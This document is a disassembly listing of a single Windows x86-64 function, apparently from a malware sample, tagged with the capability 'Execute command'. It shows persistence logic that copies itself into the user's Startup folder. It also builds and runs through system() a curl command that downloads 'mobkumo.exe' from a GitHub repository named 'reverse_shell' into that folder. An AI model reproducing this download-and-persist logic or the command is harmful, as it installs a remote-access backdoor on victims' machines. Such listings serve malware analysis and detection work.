Function at 0x14001b080
Capabilities:
Execute command

Disassembly:
push rbp
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x1e8
lea rbp, [rsp + 0x80]
mov byte [rbp + 0x15f], 0
mov byte [rbp + 0x15e], 0
lea rax, [rbp + 0x7d]
mov rcx, rax
call fcn.14006e7a0
lea rdx, [rbp + 0x7d]
lea rax, [rbp + 0x50]
mov r8, rdx
lea rdx, str.whoami
mov rcx, rax
call fcn.1400a3790
mov rax, rbp
lea rdx, [rbp + 0x50]
mov rcx, rax
call fcn.14001b780
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.1400a3e90
lea rax, [rbp + 0x7d]
mov rcx, rax
call fcn.14006e7d0
lea rax, [rbp + 0x7e]
mov rcx, rax
call fcn.14006e7a0
lea rdx, [rbp + 0x7e]
lea rax, [rbp - 0x20]
mov r8, rdx
lea rdx, str.C:Users_
mov rcx, rax
call fcn.1400a3790
lea rax, [rbp + 0x7e]
mov rcx, rax
call fcn.14006e7d0
lea rax, [rbp + 0x7f]
mov rcx, rax
call fcn.14006e7a0
lea rdx, [rbp + 0x7f]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.copy__
mov rcx, rax
call fcn.1400a3790
lea rax, [rbp + 0x7f]
mov rcx, rax
call fcn.14006e7d0
mov rax, rbp
mov r8d, 0
lea rdx, [0x1400bd0ed]
mov rcx, rax
call fcn.14002bff0
mov rcx, rax
lea rax, [rbp + 0x80]
mov rdx, rbp
mov r9, 0xffffffffffffffff
mov r8, rcx
mov rcx, rax
call fcn.14002c380
lea rdx, [rbp + 0x80]
mov rax, rbp
mov rcx, rax
call fcn.1400a3ed0
lea rax, [rbp + 0x80]
mov rcx, rax
call fcn.1400a3e90
mov rax, rbp
mov r8d, 1
mov edx, 0
mov rcx, rax
call fcn.1400a1820
mov rdx, rax
mov rax, rbp
mov rcx, rax
call fcn.1400a3fe0
mov rax, rbp
mov rcx, rax
call fcn.14002c160
lea rcx, [rax - 1]
lea rax, [rbp + 0xa0]
mov rdx, rbp
mov r9, rcx
mov r8d, 0
mov rcx, rax
call fcn.14002c380
lea rdx, [rbp + 0xa0]
mov rax, rbp
mov rcx, rax
call fcn.1400a3ed0
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.1400a3e90
mov rdx, rbp
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400a1a10
lea rax, [rbp - 0x20]
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_
mov rcx, rax
call fcn.1400a18a0
mov r8d, 0
mov edx, 0x3f
lea rax, [0x1400b9240]
mov rcx, rax
call fcn.14002c100
test rax, rax
setne al
test al, al
je 0x14001b26a
mov byte [rbp + 0x15e], 1
lea rax, [rbp - 0x40]
lea rdx, [0x1400b9240]
mov rcx, rax
call fcn.1400a1a10
mov rdx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400a3fe0
lea rax, [rbp - 0x40]
lea rdx, [0x1400bd130]
mov rcx, rax
call fcn.1400a18a0
mov rdx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400a3fe0
lea rax, [rbp - 0x40]
lea rdx, [0x1400bd133]
mov rcx, rax
call fcn.1400a18a0
mov rdx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400a3fe0
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400a1a10
mov rdx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400a3fe0
lea rax, [rbp - 0x40]
lea rdx, [0x1400bd133]
mov rcx, rax
call fcn.1400a18a0
mov rdx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400a3fe0
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14002c180
mov rcx, rax
call fcn.140011920
mov qword [rbp + 0x148], rax
cmp qword [rbp + 0x148], 0
je 0x14001b59b
mov rax, qword [rbp + 0x148]
mov rcx, rax
call fcn.140011b20
mov qword [rbp + 0x150], rax
jmp 0x14001b57e
lea rax, [rbp + 0xcf]
mov rcx, rax
call fcn.14006e7a0
mov rax, qword [rbp + 0x150]
lea rdx, [rax + 8]
lea rcx, [rbp + 0xcf]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call fcn.1400a3790
lea rax, [rbp + 0xcf]
mov rcx, rax
call fcn.14006e7d0
lea rax, [rbp + 0xd0]
lea rcx, [rbp - 0x60]
lea rdx, [rbp - 0x20]
mov r8, rcx
mov rcx, rax
call fcn.1400b4a40
lea rdx, [rbp + 0xd0]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a3ed0
lea rax, [rbp + 0xd0]
mov rcx, rax
call fcn.1400a3e90
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.14002c180
mov rcx, rax
lea rax, [rbp + 0x20]
mov rdx, rax
call fcn.140012040
test eax, eax
sete al
test al, al
je 0x14001b435
movzx eax, word [rbp + 0x26]
movzx eax, ax
and eax, 0x4000
test eax, eax
je 0x14001b419
lea rax, [rbp - 0x60]
lea rdx, str._is_a_FOLDER.
mov rcx, rax
call fcn.1400a3fa0
jmp 0x14001b435
movzx eax, word [rbp + 0x26]
test ax, ax
jns 0x14001b435
lea rax, [rbp - 0x60]
lea rdx, str._is_a_FILE.
mov rcx, rax
call fcn.1400a3fa0
mov esi, 0
mov edi, 0
lea rax, [rbp + 0x11f]
mov rcx, rax
call fcn.14006e7a0
mov r12d, 1
mov rax, qword [rbp + 0x150]
lea rdx, [rax + 8]
lea rcx, [rbp + 0x11f]
lea rax, [rbp + 0xf0]
mov r8, rcx
mov rcx, rax
call fcn.1400a3790
mov r13d, 1
lea rax, [rbp + 0xf0]
mov r8d, 0
mov rdx, rax
lea rax, [0x1400b9240]
mov rcx, rax
call fcn.14002c0f0
cmp rax, 0xffffffffffffffff
je 0x14001b4fc
lea rax, [rbp + 0x146]
mov rcx, rax
call fcn.14006e7a0
mov esi, 1
mov rax, qword [rbp + 0x150]
lea rdx, [rax + 8]
lea rcx, [rbp + 0x146]
lea rax, [rbp + 0x120]
mov r8, rcx
mov rcx, rax
call fcn.1400a3790
mov edi, 1
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.14002c360
cmp rax, 4
jbe 0x14001b4fc
mov ebx, 1
jmp 0x14001b501
mov ebx, 0
test dil, dil
je 0x14001b515
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.1400a3e90
test sil, sil
je 0x14001b529
lea rax, [rbp + 0x146]
mov rcx, rax
call fcn.14006e7d0
test r13b, r13b
je 0x14001b53d
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.1400a3e90
test r12b, r12b
je 0x14001b551
lea rax, [rbp + 0x11f]
mov rcx, rax
call fcn.14006e7d0
test bl, bl
je 0x14001b55c
mov byte [rbp + 0x15f], 1
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a3e90
mov rax, qword [rbp + 0x148]
mov rcx, rax
call fcn.140011b20
mov qword [rbp + 0x150], rax
cmp qword [rbp + 0x150], 0
jne 0x14001b355
mov rax, qword [rbp + 0x148]
mov rcx, rax
call fcn.140011d50
movzx eax, byte [rbp + 0x15f]
test eax, eax
jne 0x14001b6cd
cmp byte [rbp + 0x15e], 0
je 0x14001b699
lea rax, [rbp + 0x147]
mov rcx, rax
call fcn.14006e7a0
lea rdx, [rbp + 0x147]
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str.curl__L_https:__github.com_TEDDMNSC137_reverse_shell_raw_main_mobkumo.exe__o
mov rcx, rax
call fcn.1400a3790
lea rax, [rbp + 0x147]
mov rcx, rax
call fcn.14006e7d0
lea rax, [rbp - 0x60]
lea rdx, [0x1400bd133]
mov rcx, rax
call fcn.1400a18a0
mov rdx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a3fe0
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a1a10
mov rdx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a3fe0
lea rax, [rbp - 0x60]
lea rdx, str.mobkumo.exe
mov rcx, rax
call fcn.1400a18a0
mov rdx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a3fe0
lea rax, [rbp - 0x60]
lea rdx, [0x1400bd133]
mov rcx, rax
call fcn.1400a18a0
mov rdx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a3fe0
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.14002c180
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400a3e90
jmp 0x14001b6ad
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14002c180
mov rcx, rax
call sub.msvcrt.dll_system
lea rax, str.___Enabling_Startup_n
mov rdx, rax
mov rax, qword [0x1400c30c0]
mov rcx, rax
call fcn.1400b42b0
mov ebx, 0
jmp 0x14001b6eb
lea rax, str.___Startup_ENABLED__n
mov rdx, rax
mov rax, qword [0x1400c30c0]
mov rcx, rax
call fcn.1400b42b0
mov ebx, 1
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400a3e90
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400a3e90
mov rax, rbp
mov rcx, rax
call fcn.1400a3e90
mov eax, ebx
add rsp, 0x1e8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop rbp
ret